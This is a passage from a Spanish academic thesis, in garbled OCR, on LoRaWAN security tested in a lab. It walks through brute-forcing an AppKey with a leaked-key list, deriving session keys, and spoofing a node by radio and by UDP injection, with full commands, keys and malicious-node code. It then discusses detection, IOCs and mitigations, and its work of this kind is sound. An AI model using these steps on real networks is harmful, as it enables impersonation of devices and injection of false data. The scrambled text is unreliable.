\xba\x86\x00\xb8Y '\x C I ":1882320236," *:@,"rfch":1," 8.
F12BW125","codr":"4/5 " ! "size":23,"data 1gWFX4ry1wBBAAAQADJOLWCTYg="

"LoRaWANR1", "mic": " ed8g"” "2b7e151628aed2a5 ev_eui": "0080000004015cch™
53475, "ch "lsnr 5 - 0823208236, "rfch": 1, eq": 868.1, "modu": "LO
ead_factor) \ dwidth\": \ " 5", "size": 2 data
"b827ebfffeb5714d " ta_collector_id": 4, "organization_id": 1}
LPPLNY PdCKELD D \XUZ\XDd\XB0\XUl
i t: b'\x020\xf6\x01
powe":14,"ant":0,"brd":0, "tmst" : 1087320236, "freq" :868.1
" i I0SUNIEEWNtFnA3f7IY2DCq3D2xdRAHbcyBasXI4yvpl"}}'
LoRaWANR1", "mi 8 null, "stat": null, "lsnr": null, "rssi": null, "tmst":
37320236, "rfch” 1, "modu": "LORA", "datr": "{\"spread_factor\": \"12\", \"bandwidth\": \"125\"}", "codr
Lze": 33, "data": "IOSUnIEEWNtFnA3f7IY2DCq3D2xdRAHbcyBaSXI4yvpl", "date": "2022-08-29 17:08:04.859419", "data_collector_
anization_ 1}
TPPING PaCKeL: D \AUZ F\KUZ\RDS \RCD\XTT\RTEC\ADOGM
ipping packet: b'\x02 #\x84'

Figura 103. Mensajes Join-Request y Join-Accept capturados por el proxy

Esta captura de mensajes es suficiente para que LAF averiglie la AppKey que se ha utilizado. Para este
objetivo, LAF utiliza un archivo de texto con una lista de AppKey que han sido filtradas o que utilizan por
defecto los proveedores de dispositivos LoORaWAN. Con esta lista, LAF realiza ataques de fuerza bruta sobre
los paquetes de la red.

Este archivo se encuentra en la ruta laf/auditing/analyzers/bruteForcer/keys.txt. Como la AppKey que se va a
utilizar no ha sido filtrada, la afiadimos manualmente al listado:

+ wtelecom@wtelecom-VirtualBox: ~fEscritorioflaffauditing/analyzers/bruteforcer

g S cat keys.txt
13734EFOEBFTAAG6AD612FOO5C3C189E9
BEC499C69E9C939E413B663961636C61

EABB99CFEA1541BACF598FC318BC5994

162b87db64c2995a89418358229ee9c4

aanlTe AbFo7n-—A-nasafdnan-nE

2B7E151628AED2AGABF7158809CF4F45

FLLRURUSDLCAT O IDOVLLULIOLL1L£5349422
9E24D464BEAS57B8D12DC3FD2D4DA192
5A8470C4806F4AB7CEF4D5F2D9855566
5A6967426565416C6C69616E63653039
111111111111111111311111111111111

Figura 104. Listado de claves filtradas para realizar fuerza bruta

Automaticamente, una vez ejecutamos el script LafProcessData.py con los argumentos -a (analizar) y -b
(fuerza bruta), salta la alerta LAF-009 y nos muestra la AppKey detectada. Estas alertas se guardaran
automaticamente en la base de datos:



wtelecom@wtelecom-VirtualBox: ~fEscritorioflaf/auditing/analyzers

S python3 LafProcessData.py -

E KT EERE IR EERERER IR R A AR EIARRREERRRE A AR IR AR R LK

LoRaWAN Security Framework - LafProcessData.py
Copyright (c) 2019 IOActive Inc. All rights reserved.

R O I I eI

Bruteforce module ON
- Using keys file: ./bruteforcer/keys.txt
DataCollector module ON

kkkkkkkkkhkhkkhhhhkkkhhhkkh kA kkhhhkkhkhhhkkhhhhk

DEBUG:root:Using packet: 1961

DEBUG:root:Using packet: 1962
DEBU[@0PO®] DevEUI: [6 ©® ® 254 255 89 24 166]AppEUI: [0 @ 0 0 @ @ 0 @]
DEBU[000O] Bruteforcing the JoinRequest took:338.14725ms. Keys tested: 197973
DEBU[GOBO] Key not found for JoinRequest with DevEui: a61859fffe000006 with data: AAAAAAAAAAAABQAA/VIZGKZIdZHOetg=
DEBUG:root:Using packet: 1963
DEBUG:root:Using packet: 1964
nrourananl NavCilT. FT2682 09 1 A A A 190 ATA~~CIIT: FT46C 21/ 474 AR 22 721 1925 A2
JEBUG:root:LAF-009-Key 2b7e151628aed2a6abf7158809cf4f45 found for device ©0800800084815cch with devaddr Unkwown. Matched
R e Ue s T palR e U Ut o gUe s U patRe Ll T SU AL U patRe U LU Uale LU ttet Ui tia column (ID 4)
:root:Using packet: 1965
:root:Using packet: 1966
:root:Using packet: 1967
:root:Using packet: 1968

Figura 105. Alerta LAF-009: Password Cracked

» 1.3 Sequences id type created_at packet_id device_id device_session_id gateway_id device_auth_id data_collector_id parameters
v [ Tables (18) 4 PKibint ¢ charactervarying 20) ¢ timestampwitntimezone ¢ bigint # bigint ¢ bigint ¢ bigin # bigint # bignt bl charcctervanying (1005) ¢
> Ealert n 24 LAF-00S 20220829 1742:14.732336+00 1964 1 [nul oul 1 4 {'dev_sddr™ "Unkwowr', dev_e.

> B alert_type

Figura 106. Nueva alerta en la tabla "alert" de la base de datos

Por ultimo, una vez conseguida la AppKey y habiendo capturado los mensajes Join-Request y Join-Accept, se
pueden extraer las claves de sesion del nodo en cuestion. Para realizar esto, el primer paso es extraer la
cabecera MAC (MHDR) de los mensajes Join-Request y Join-Accept capturados anteriormente:

e (Cabecera MAC de Join-Request:

{"mhdr": {"mType":"JoinRequest","major":"LoRaWANRI1"},"macPayload": {"joinEUI":"2b7e151628aed2as"
,"devEUI":"0080000004015¢ccb","devNonce":20755},"mic":"e7aacc20"}

e (Cabecera MAC de Join-Accept:

{"mhdr": {"mType":"JoinAccept","major":"LoRaWANRI1"},"macPayload": {"bytes":"VOLm1to YPs2GqjA8
WUL8wvOEKBIJQiFIAe3VcMw=—="},"mic":"57e879d2"}

A continuacion, con el script PacketCrafter.py se convierten estos datos a Base64:

=1 wtelecom@wtelecom-VirtualBox: ~/Escritorio/laf/tools/lorawan Q

8 $ python3 PacketCrafter.py -j '{"mhdr":{"mType":"JoinRequest”,"major":"LoRaWANR1"}, "macPayload”:{"joinEUI":"2b7e
151628aed2as5", "devEUI" : "@080000804015cch”, "devNonce” : 207553, "mic": "e7aacc20"}

ecurity Framework - PacketCrafter.py
Copyright (c) 2019 IOActive Inc. All rights reserved.
s s s S S e S ok ke sk

PHYPayload s AKXSrighFX4rylwBBAAAgAATUeeqzCA=

Figura 107. PacketCrafter.py sobre Join-Request
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~l wtelecom@wtelecom-VirtualBox: ~/Escritorio/laf/tools/lorawan

$ python3 PacketCrafter.py -j '{"mhdr":{"mType":"JoinAccept”,"major":"LoRaWANR1"}, "macPayload”:{"bytes": "voLmito

YPs2GqjABHUL8WVOEKBIQLFIAe3VCMW=="]}, "mic" : "57879d2"}"'

Sk ek ek Kk ek Kk ek Rk Ak Rk Rk kK

LoRaWAN Security Framework - PacketCrafter.py
Copyright (c) 2019 IOActive Inc. All rights reserved.
ke e o e e ke e e e e o e e o e o e o

PHYPayload is IFTi5tbaGD7NhqowPF1C/MLzhCgSUIhSAHt1XDNX6HNS

sl

Figura 108. PacketCrafter.py sobre Join-Accept

Dando como resultado las siguientes cadenas:

AKXSrigWFX4rylwBBAAAgAATUeeqzCA= (Join-Request)
[FTi5tbaGD7NhqowPFIC/MLzhCgSUIhSAHt1 XDNX6HnS (Join-Accept)

Se decodifican estos valores para extraer la secuencia en hexadecimal:

1 wtelecom@wtelecom-VirtualBox: ~/Escritorio/lafftools/lorawan

H $ echo -n "AKXSrigWFX4rylwBBAAAgAATUeeqzCA=" | base64 -d | od -t x1 -An | sed 's/[[:space:]]//g'
00a5d2ae2816157e2bcb5c0104000080
001351e7aacc2@

s 1

Figura 109. Cabecera MAC de Join-Request en hexadecimal

<1 wtelecom@wtelecom-VirtualBox: ~/Escritorio/lafftools/lorawan Q

$ echo -n "IFTi5tbaGD7NhqowPF1C/MLzhCQSUThSAHt1XDNX6HNS" | base64 -d | od -t x1 -An | sed 's/[[:space:]]1//g'

2054e2e6d6da183ecdB86aa303c5942fc
c2f3842812508852007b755c3357e879
dz

Figura 110. Cabecera MAC de Join-Accept en hexadecimal

Finalmente, haciendo uso de la herramienta “Loracrack™ es posible extraer las claves de sesion pasando como
argumentos la AppKey y las cabeceras MAC en hexadecimal:

" wtelecom@wtelecom-VirtualBox: ~/Escritorioflaf/tools/lorawan/Loracrack

$ sudo ./loracrack_genkeys -k 2b7e151628aed2a6abf7158809cf4f45 -j 00a5d2ae2816157e2bcb5c01040000800013

51e7aacc20 -a 2054e2e6d6dal183 8a303c5942fcc2f3842812508852007b755¢3357e879d2
[sudo] contrasena para wtelecom:
78c177060dcb6f9858b1e1f436ab94f6 c88f6164c417b0d55245b422d6b3cBCT

Figura 111. Extraccion de las claves de sesion (NwkSKey y AppSKey)

Para asegurarnos de que estos valores son, efectivamente, los valores reales podemos comprobarlo en la
consola del Network Server:



Applications / Laboratorio-Seguridad-LoRaWAN-TFG / Devices / MiniQ W DELETE

DETAILS CONFIGURATION KEYS (OTAA) ACTIVATION DEVICE DATA LORAWAN FRAMES

mse ] ®©

mse ] ©

Figura 112. Confirmacion de los valores de las claves de sesion

3.3.2 Spoofing

Una vez explicado el ataque de Password Cracking, el ataque de Spoofing, o suplantacion de un nodo, es
consecuencia directa de haber conseguido la AppKey y las claves de sesion de un nodo.

Por ciertas diferencias, este ataque se va a distinguir en dos planos: el plano radio y el plano TCP/IP.

3.3.21  Spoofing a través del plano de radio

Para la suplantacion del nodo legitimo desde el plano de la radiofrecuencia se va a utilizar el nodo malicioso
descrito en el capitulo anterior de este documento. Este nodo malicioso utilizara el codigo main.py descrito en
el Anexo B de este documento, donde las lineas 19 y 57 son importantes y deben ser explicadas: la linea 19 es
la encargada de configurar en el moédem del nodo malicioso el DevEUI, el AppEUI y la AppKey del nodo
legitimo que se pretende suplantar; la linea 57 se encarga de transmitir a la red el payload arbitrario. Para este
ejemplo se va a usar la palabra “hacked”.

En este caso, los valores de la linea 19 son los siguientes:

e  DevEUI: 0080000004015¢ccb
e AppEUI: 0000000000000000 (valor permitido ya que no es un campo obligatorio)
o AppKey: 2b7e151628aed2a6abf7158809cf4145

Este archivo main.py se carga en el nodo malicioso y automaticamente se ejecuta para tratar de unirse a la red
y enviar mensajes periodicos cada 5 minutos.

En la siguiente imagen se observan las tramas LoRaWAN que el Network Server ha recibido del dispositivo
“MiniQ” (nodo legitimo). En realidad, tnicamente las tramas sefialadas en color verde son legitimas, las
tramas sefialadas en color rojo son las transmitidas por el nodo malicioso:
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Applications / Laboratorio-Seguridad-LoRaWAN-TFG / Devices / MiniQ W DELETE

DETAILS CONFIGURATION KEYS (OTAA) ACTIVATION DEVICE DATA LORAWAN FRAMES
@ HELP 11 PAUSE & DOWNLOAD B CLEAR
Aug29813:26PM | ConfirmedDataUp | | 868.3 MHz | ( SF7 | ( BW125 | | FPort:0 | | FCnt:1 | | DevAddr: 010ed989 v
Aug 29 8:13:25 PM UnconfirmedDataDown | | 867.1MHz | | SF9 | ( BW125 | | FCnt:0 | | DevAddr: 010ed989 | = GW: bB27ebfffebS714d v
Aug29813:224PM | confirmedDataUp | | 867.1MHz | ( SF9 | ( BW125 | | FPort:10 | | FCnt:0 | | DevAddr: 010ed989 v
Aug29813:220PM | JoinAccept | | 868.5MHz | | SF7 | | BW125 | | GW:bB27ebfffens714d v
Aug29813:19PM | JoinRequest | | 868.5MHz | | SF7 | | BW125 | | DevEUI: 0080000004015¢cch v
Aug 29 5:59:24PM | UnconfirmedDataDown | | 868.5MHz | ( SF12 | | BW125 | | FCnt:0 | | DevAddr: 0024211b | | GW: b827ebfffebS714d v
Aug 29 5:59:24PM | UnconfirmedDataUp | | 868.5MHz | | SF12 | | BW125 | | FPort:8 | | FCnt:1 | | DevAddr: 0024211b v
Aug 29 5:41:42 PM UnconfirmedDataUp | | 867.7 MHz | | SF12 | | BW125 | | FPort:8 | | FCnt:0 | | DevAddr: 0024211b v
Aug 29 5:41:31 PM JoinAccept | | 868.1 MHz | | SF12 | | BW125 | = GW: b827ebfffebS714d »
Aug295:41:31PM | JoinRequest | | 868.1MHz | | SF12 | ( BW125 | | DevEUI: 0080000004015cch v

Figura 113. Tramas legitimas y maliciosas en el nodo MiniQ

Para el Network Server todas las tramas provienen del mismo dispositivo, sin embargo, hay valores que nos
hacen sospechar que no es un comportamiento ‘“normal” del nodo, por ejemplo, el campo FPort muestra
distintos valores (8 y 10).

En la siguiente imagen se muestra una de estas tramas maliciosas:

Applications / Laboratorio-Seguridad-LoRaWAN-TFG / Devices / MiniQ T sasmw
DETALS CONFIGURATION KEVS (OTAR) ACTIVATION DEVICE DATA LORAWAN FRAMES

@ HeLe 11 Pause & DOWNLOAD W cear

AUG2994037FM  up s675MHa | (12 (BW12s ) ( FCat1) (FRort 10 ) | Unconfimed v

Figura 114. Ejemplo de trama maliciosa

Si se despliega la informacion de esta trama, podemos decodificar los datos que han llegado al Network Server
en Base64 para comprobar qué ha transmitido el nodo:



Q_ Search organization, application, gateway or device @ O admn

Aug299:4037PM  up 867.5MHz | (SF12 ) (BW125 ) (FCnt1 ) ( FPort 10 ) | Unconfirmed

wtelecom@wtelecom-VirtualBox: ~/Escritorio/laf/tools/lorawan/Loracrack

m
: s python
Python 2.7.18 (default, Jul 1 2022, 12:27:04)
[GCC 9.4.8] on linux2
copyright”, "credits" or "license" for more information.

decode( 'aGFja2vk')

Figura 115. Comprobacion de la suplantacion y ejemplo de payload malicioso

Se comprueba que ha llegado la cadena en Base64 “aGFja2Vk™ que decodificada en texto plano resulta ser la

palabra “hacked”.

3.3.2.2  Spoofing a través del plano TCP / IP

Si el Network Server se encuentra expuesto en Internet o se tiene acceso a la red privada donde éste se
encuentre, podemos utilizar el script UdpSender.py de LAF para realizar una suplantacion de nodos sobre la

misma sesion e invisibilizar al nodo legitimo.

UdpSender.py

Lo

(T) 11700

@

11702
11800
UdpProxy.py PacketForwarderCollector.py
—
=

LafProcessData.py Visual Paradigm ORt@stgreSQia

Figura 116. Script UdpSender.py en la arquitectura de LAF

Como ocurre en el caso del plano de radio, se parte del hecho de que ya las claves del nodo legitimo han sido
recuperadas realizando el ataque de Password Cracking. Para esta demostracion, los datos del nodo legitimo
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son:

e DevAddr: 00b00ea5

o AppKey: 2B7E151628 AED2A6ABF7158809CF4F45
e NwkSKey: 6A359BBEB1C431C145831A6210929170
e AppSKey: 0E85761A23AF6B402C0A43008EB86353

El primer paso que hay que realizar es haber capturado un mensaje uplink del nodo legitimo mediante el proxy
UDP, concretamente se necesita la cabecera MAC (MHDR). Por ejemplo:

{"mhdr": {"mType":"UnconfirmedDataUp","major":"LoRaWANR1"},"macPayload": {"thdr": {"devAddr":"00
b00ea5","fCtrl": {"adr":true,"adrAckReq":false,"ack":false,"fPending":false,"classB":false},"fCnt":0,"fOpts":n
ull},"fPort":8,"frmPayload":[ {"bytes":"crnPOiWOFE/rah Xf4Y a9KktNN6s="} ] },"mic":"ed20404 7"}

Se sustituye el campo “bytes” por la cadena en Base64 que se quiere transmitir, por ejemplo,
VEZHTE9SQQ== (“TFGLORA”), el campo fCnt por un valor relativamente alto para invisibilizar al nodo en
la red. Se utiliza el script PacketCrafter.py con argumentos --key [AppSKey] y --nwkskey [NwkSkey] para
generar el valor del PHYPayload malicioso en Base64:

python3 PacketCrafter.py -j

"{"mhdr": {"mType":"UnconfirmedDataUp","major":"LoRaWANR1"},"macPayload": {"thdr": {"devAddr":"0
0b00ea5","fCtrl": {"adr":true,"adrAckReq":false,"ack":false,"fPending":false,"classB":false},"fCnt": 124,"fOpt
s":null},"fPort":8,"frmPayload":[ {"bytes":"VEZHTE9SQQ=="}]},"mic":"ed204047"}" --key
O0E85761A23AF6B402C0A43008EB86353 --nwkskey 6A359BBEB1C431C145831A6210929170

g $ python3 PacketCrafter.py -j '{"mhdr":{"mType":"UnconfirmedData
Up","major" :"LoRaWANR1"}, "macPayload": {"fhdr":{"devAddr":"eebeeeas","fCtr1":{"adr":true, "adrAckreq":false, k":false,"fPen
ding":false,"classB":false},"fCnt":124,"fopts":null},"fPort":8,"frmPayload":[{"bytes": "VEZHTE25QQ=="}]},"mic":"ed204047"}"'
--key BEB5761A23AF6B402C0A43008EB86353 --nwkskey 6A359BBEB1C431C145831A6218929170

Security Framework - PacketCrafter.py
c) 2019 IOActive Inc. All rights reserved.

Received packet AppSKey. Will be used to encrypt its FRMPayload.
Received packet NwkSKey. Signing data packet
PHYPayload is QKUOSACATAAI/CiCdgTaH4WqDlc=

s

Figura 117. Generacion del PHYPayload malicioso

Como resultado de la ejecucion del script, se obtiene el siguiente PHYPayload:
OKUOsACAfAAI/CiCdgTaH4WqDlc=.

Por ultimo, se llama al script UdpSender.py al que se pasa como argumentos la direccion IP del Network
Server (127.0.0.1, localhost), el puerto de escucha del Network Server (1700), el valor del nuevo contador
(fCnt = 124), 1a clave NwkSkey y el DevAddr del nodo legitimo.

El argumento --data tiene que mantener la estructura original de los paquetes transmitidos por el nodo legitimo
a excepcion del campo “data” que se sustituye por el valor del PHYPayload malicioso obtenido en el paso
anterior:

python3 UdpSender.py —data
"b"x02u'\xa4\x00\xb8\"xeb\x fiix fe\xbSqM {\"rxpk\":[ {\"tmst\":123204620,\"chan\":5,\"rfch\":0,\"freq\":867.50



0000,\"stat\":1,\"modu\":\"LORA\",\"datr\":\"SF12BW125\" \"codr\":\"4/5\",\"Isnr\":3.0,\"rssi\":-
99,\"size\":33,\"data\":\"QKUOsACAAAAIcrnPOiW6FE/rahXf4Ya9KktNN6vtIEBH\"} ]} "' --timeout 1 --dst-
ip 127.0.0.1 --dst-port 1700 --fent 123 --key 6A359BBEB1C431C145831A6210929170 --devaddr 00b00ea5

g S --data "b'\x82u\
":123204620,\"chan\" L O "freq\":86 A" ":1,\"modu\"
"4/5\",\"lsnr\":3.0,\"rssi 3 " "QKUOsACATAAL /CiCdgTaH4WgDl
--dst-port 1700 --fcnt 124 --key 6A359BBEB1C431C145831A6210929170 --devaddr ©0boeeas

e e s e e e ok ek ok ok ok ok ook e ok o ok ok ook e ok ok e o

LoRaWAN Security Framework - UdpSender.py
Copyright (c) 2019 IOActive Inc. All rights reserved.

FREHERKIHARERRAIEERIH AR R R KRR R A I IR R R AR AR R ARk Rk kK kR

Sent to: ('127.0.0.1', 1700)
Hexaddr: b'\xa5\x0e\xbo\xeo0'
0ld address b'\x00\xb@\x@e\xa5', New address b'\xa5\x0e\xba\xe0'
Old FCnt 124, New FCnt 124

- DEBUG - b'\x@2u\xa4\x00\xbs8\"'\xeb\xff\xfe\xb5qM{
":867.500000 ":1,"modu" :"LORA","datr":"SF12BW125","codr":"4/5","lsnr":3.
CdgTaH4WgDlc:
Parsed data: {"mhdr":{"mType":"UnconfirmedDataUp ajor oRaWANR1"}, "macPayload
"adr":true,"adrAckRre alse,"ack":false,"fPending":false,"classB" :false},"fCcnt":124,"
{"bytes":"/CiCdgTaHw=="}]}, "mic":"85aa0e57"}
2022-08-30 11:09:25,596 - DEBUG - Received UDP. Source ('127.0.0.1', 1700). Local port 35763:
b'\x02u\xa4\x01"'

s

Figura 118. Transmision de un paquete malicioso con UdpSender.py

Una vez finalizada la ejecucion del script, se recibe el paquete malicioso en el Network Server.

En la siguiente imagen, los paquetes sefialados en verde son los transmitidos por el nodo legitimo y los
sefialados en rojo son dos paquetes maliciosos generados con el script UdpSender.py:

Applications / Laboratorio-Seguridad-LoRaWAN-TFG / Devices / MiniQ

DETAILS CONFIGURATION KEYS (OTAA) ACTIVATION DEVICE DATA LORAWAN FRAMES

Aug 30 11:36:21 AM  error

Aug 30 11:14:50 AM  error

Aug 30 11:09:25 AM  up 867.5 MHz SF12 BW125 FCnt: 124 FPort: 8 Unconfirmed
Aug 3011:01:27 AM  up 867.5MHz SF12 BW125 FCnt: 123 FPort: 8 Unconfirmed
Aug 30 10:50:39 AM  up 868.1 MHz SF12 BW125 FCnt: 1 FPort: 8 Unconfirmed
Aug 30 10:43:28 AM  up 867.5 MHz SF12 BW125 FCnt: 0 FPort: 8 Unconfirmed
Aug 30 10:43:28 AM  join DevAddr: 00b00ea5

Figura 119. Paquetes legitimos (verde) y maliciosos (rojo) en el MiniQ

A diferencia de la demostracion del ataque en el plano radio, aqui se esta suplantando al nodo sobre la misma
sesion, por eso no aparece ningun Join-Request / Join-Accept, salvo el del nodo legitimo, y tampoco ha
cambiado el valor del puerto (FPort).

Los mensajes de error son provocados porque el nodo legitimo trata de seguir su secuencia de paquetes
incrementando el contador, pero con UdpSender.py se han inyectado paquetes con un contador mas grande.
En este caso, el contador ha pasado de 0 a 1 y luego da un salto a 123 y a 124, tras esto, el nodo legitimo ha
enviado los paquetes con contador 3 y 4 pero han sido rechazados por el Network Server porque esta
esperando el paquete 125. Por lo tanto, no solo se ha suplantado al nodo legitimo si no que, ademas, ha sido
invisibilizado en la red.
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Por 1ultimo, se puede comprobar que, desplegando la informacion de uno de estos paquetes, el payload que ha
llegado al Network Server en Base64 es el que se eligio para esta demostracion, “TFGLORA™:

Aug 30 11:09:25 AM  up B67.5 MHz SF12 BW125 FCnt: 124 FPort- 8

wtelecom@wtelecom-VirtualBox: ~/Esc... wtelecom elecom-VirtualBox: ~/Esc

3 S python
python 2.7.18 (default, Jul 1 2022, 12:27:04)
[GCC 9.4.0] on linux2

"help”, "copyright", "credits" or "license" for more information.
" >>> import hase6d
>>> base64.b64decode( 'VEZHTESSQQ=="")
'TFGLORA'
>>>

~

Figura 120. Comprobacion de la suplantacion con UdpSender.py



4 DETECCION DE ATAQUES Y MITIGACIONES
PARA LORAWAN

ras la demostracion de los ataques realizados en el capitulo anterior, en este capitulo se pretende
reflexionar sobre las medidas de deteccion de incidentes de seguridad en una red LoRaWAN vy si existen
mecanismos para mitigar estas vulnerabilidades.

4.1 Mecanismos de deteccion de incidentes

Como se ha mostrado en el capitulo anterior, el uso de herramientas como LAF permiten la deteccion de
ciertos incidentes a partir de alertas provenientes de la inspeccion y el analisis de los paquetes que se
transmiten por la red.

:root:Using pac
:root:Using pac
:root:Using pac
:root:LAF-007-Received smaller counter for DevAddr ©1dabf24. Previous counter was 123 and curren
. Previous packet 1696, current packet 1781. Data collector lora_column (ID 4).
DEBUG:root:Using packet: 1702
DEBU[@0O1] DevEUI: [203 92 1 4 @ 8 128 O]AppEUI: [165 210 174 48 22 21 126 43]
DEBUG:root:LAF-809-Key 2b7el151628aed2a6abf7158809cf4f45 found for device 0080000004015cch with devadd
r Unkwown. Matched JoinRequest packet {join_request_packet_id}. JoinAccept packet 1702. Data Collecto
r lora_column (ID 4)
DEBUG: root:Using ke
DEBUG:root:Using
DEBUG:root:Using
DEBUG:root:Using
DEBUG:root:Using
DEBUG:root:Using
DEBUG:root:Using

Figura 121. Ejemplos de alertas de LAF

Otra opcidn interesante seria la construccion de reglas para detectores de intrusos (IDS) como Suricata y Snort.
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De esta forma, comportamientos que se consideren anémalos para una red podrian ser detectados en tiempo
real por estas aplicaciones.

alert tcp 192.168.1.1 1024 - > 172.16.1.1 80 (msg:"ET DOS
Possible SclarWinds TFTP Server Read Reguest Denial Of Service
Attempt"; content:" |00 01 01|"; depth:3; content:"NETASCII";
reference:url,www.exploit-db.com/exploits/12683/;

reference:url,doc.emergingthreats.net/2011673;

classtype:attempted-dos; sid:2011673; rev:3;)

Figura 122. Ejemplo de regla de Suricata

4.2 Indicator of Compromise (I0C)

Algunos comportamientos de los dispositivos pueden ser un indicador de que se esta produciendo un incidente
en la red. Estos comportamientos andmalos que siguen un patron y que tienen una alta probabilidad de ser una
actividad maliciosa, son conocidos como IOC’s.

A partir de las pruebas realizas, algunos ejemplos de IOC’s en redes LoRaWAN pueden ser:

e Un nodo transmite mas paquetes de lo esperado.

e Llegan al Network Server paquetes de un nodo con valores distintos de FPort.

e Sereciben paquetes de un nodo con campos de la trama que no varian (SNR, RSSI, SF,...).
e Se producen saltos en el valor del contador de paquetes (FCnt).

e Sereciben varios mensajes Join-Request de un nodo antes de lo esperado.

e Los datos recibidos no son los esperados.

4.3 Contramedidas en LoRaWAN 1.1

La version 1.1 [51] afiade una serie de correcciones para evitar algunas de las vulnerabilidades que han sido
comentadas en este documento. Algunos de estos cambios son:

e Empleo del mensaje Rejoin-Request para evitar el retiso de los contadores en modo OTAA. En ABP
se almacena en la memoria no volatil el valor del contador.

e Seregistran los valores de los DevNonce y AppNonce generados para evitar su reutilizacion.

e Se afiade el campo JoinNonce last para registrar el tltimo JoinNonce y evitar ataques de repeticion en
los mensajes Join-Accept.

e Se afiade el campo DevNonce last para registrar el tltimo DevNonce y evitar ataques de repeticion en
los mensajes Join-Request.

e En la version 1.1, los mensajes ACK se asocian a los mensajes de datos afiadiendo el FCnt a la
generacion del MIC.

e En la version 1.1, los mensajes Join-Request y Join-Accept se asocian afiadiendo el DevNonce del



Join-Request a la generacion del MIC del Join-Accept.

4.4 Recomendaciones

Debido al volumen de dispositivos, numero de paquetes y los defectos con los que cuentan este tipo de redes,
resulta bastante complicado evitar los incidentes de seguridad. Algunas posibles mitigaciones que pueden
reducir el nimero de estos incidentes o reducir la probabilidad de que se den, son:

e Generar AppKeys aleatorias que eviten el uso de claves reutilizadas.

e Evitar el uso de claves consecutivas o que sigan patrones. Si se filtra una de ellas podrian filtrarse el
resto.

e Evitar la exposicion del Network Server en redes no controladas como Internet u otros segmentos de
una red IP.

e  Monitorizar las alertas generadas por LAF y/o usar scripts que consuman la API del Network Server
para eliminar de la red los dispositivos que hayan sido comprometidos en el menor tiempo posible.

99



5 CONCLUSIONES Y LINEAS DE MEJORA

seguridad. Este capitulo finalizara con unas posibles lineas de mejora o siguientes pasos a partir de

Para finalizar este documento, se van a comentar las conclusiones sobre la tecnologia LoORaWAN vy su
este trabajo.

5.1 Conclusiones

Actualmente, la tecnologia LoRaWAN se encuentra en auge y esta siendo beneficiosa para los distintos
sectores economicos ¢ industriales donde se encuentra presente. Por otro lado, a través de la domotica y de las
ciudades inteligentes se estd mejorando la calidad de vida de la poblacion.

La implementacion de este tipo de tecnologia en objetos cotidianos para dotarlos de inteligencia y que puedan
interactuar con el entorno, sumado a la conexidn de estos dispositivos a redes publicas como Internet, suponen
un gran riesgo para la poblacion. El control de la seguridad de la informacion que se intercambian los
dispositivos y de la propia red debe ser fundamental ya que el impacto de estos incidentes puede ser muy
grande.

A pesar de los problemas de seguridad que se han mostrado en la recreacion de los ataques, la version 1.0.2 de
LoRaWAN predomina en los proyectos loT pese a existir la version 1.1 que corrige, en gran medida, algunos
de estos problemas.

LAF resulta una herramienta con un gran potencial para detectar y alertar sobre ataques o comportamiento
anoémales en una red LoRaWAN. Esto facilita a los administradores de la red o a los responsables de seguridad
el poder detener el incidente en el menor tiempo posible. Por otro lado, también se ha demostrado la eficacia
de LAF a la hora de recrear la parte ofensiva de este proyecto, lo que supone también un beneficio para los
administradores pudiendo auditar su propia red haciendo uso de los scripts.

Para finalizar este proyecto, se han propuesto una serie de posibles indicadores de compromiso y unas
recomendaciones de seguridad con el fin de minimizar, en la medida de lo posible, el numero de incidentes y
de riesgos.



5.2 Lineas de mejora

Si se toma como referencia este proyecto, algunas lineas de mejora o de investigacion podrian ser:

o  Analizar los mecanismos de seguridad de la version 1.1 de LoRaWAN.
o  Crear reglas de deteccion de comportamientos anomalos/maliciosos para IDS como Suricata.

e Analizar los problemas de retrocompatibilidad entre dispositivos con version 1.0.x y una red
LoRaWAN con version 1.1, y viceversa.
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ANEXO A: INSTALACION DE LAS APLICACIONES
ESPTOOL, AMPY Y LIBRERIAS DE PYTHON

1 contenido de este anexo esta dedicado a la descarga y subida de los archivos necesarios para el
funcionamiento del nodo LoRaWAN malicioso. Se detallara paso a paso el procedimiento a seguir.

Anexo A-1. Instalacion de esptool y ampy

Haciendo uso de la terminal de comandos de Windows, se ejecutan las siguientes lineas:

python -m pip install esptool
python -m pip install adafruit-ampy

Anexo A-2. Descarga de firmware y librerias

El enlace para descargar el firmware que se instalard en el médem del nodo malicioso es el siguiente:

https://micropython.org/resources/firmware/esp32-idf3-20210202-v1.14.bin

Para la descarga de las librerias necesarias de Python, el enlace es el siguiente:

https://bitbucket.org/amotzek/micro-python/downloads/

Se deben descargar los archivos:
e cooperative multitasking.mpy
e lora states.mpy

e asr6501.mpy


https://micropython.org/resources/firmware/esp32-idf3-20210202-v1.14.bin
https://bitbucket.org/amotzek/micro-python/downloads/

o Bitbucket e [}

n micro-python < ® For large uploads, we recommend using the API. Get instructions
i Downloads Tags Branches
<> Source _—
4 Commits Name Size Uploaded by Downloads Date
f5  Branches Download repository 1.5 MB
asr6501.mpy 29KB Andreas 68 2021-06-25
19 Pull requests Motzek
) Pipelines neopixel_scroller.mpy 469 bytes Andreas 65 2021-06-23
Motzek
P t
font5.mpy 1.2 KB 50 2021-06
Q e
D se thf76052.mpy 31KB 14 2021-06-2
B Download: 2021-06-23
lora_client.mpy 1.6 KB Andreas 36 2021-06-23

Maotzek

Estos archivos deberan guardarse en una carpeta del ordenador con nombre “lib”. Una vez hecho esto y con el
nodo malicioso conectado al ordenador por USB, se carga este directorio y sus archivos en el nodo con el
comando ampy.exe --port COMS --delay 3 put lib.

En la siguiente imagen se comprueba con el comando “Is” que los archivos se han cargado correctamente:

rodriguez._ WTELECOM\Dow \ \jarodrig JMAppData\Local\Programs\Python\Python38\Scripts\ampy.exe --port COM3

\AppData\Local\Programs\Python\Python3 cripts\ampy.exe --port COM8 ls lib
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ANEXO B: CODIGO FUENTE DE MAIN.PY

1 contenido de este anexo muestra el codigo fuente del archivo main.py que utiliza el nodo malicios
LoRaWAN en la demostracion de los ataques.

1 from cooperative multitasking import Tasks
2 from machine import UART

3 from lora_states import NOT_JOINED, JOINING, JOINED, SENDING, SENT, RETRY

4 from asre6501 import ASR6E501

10

11

Bl

13

14

IS

16 tasks = Tasks ()

17  uart2 = UART(2, tx=26, rx=32)

18 uart2.init(baudrate=115200, bits parity=Nene, stop=1, txbuf=2

19 modem = ASR€501 (uartz, '00 0 1 b', "00C 0 ooQoQoo0o*, DevEUI, AppEUI, AppKey as hex codes
20 count = 0

21

def modem state anged () :
return modem.has_state changed()
def start_join():
yellow()
modem. send_join()
tasks.when then(modem state_changed, end join)

def end_join():
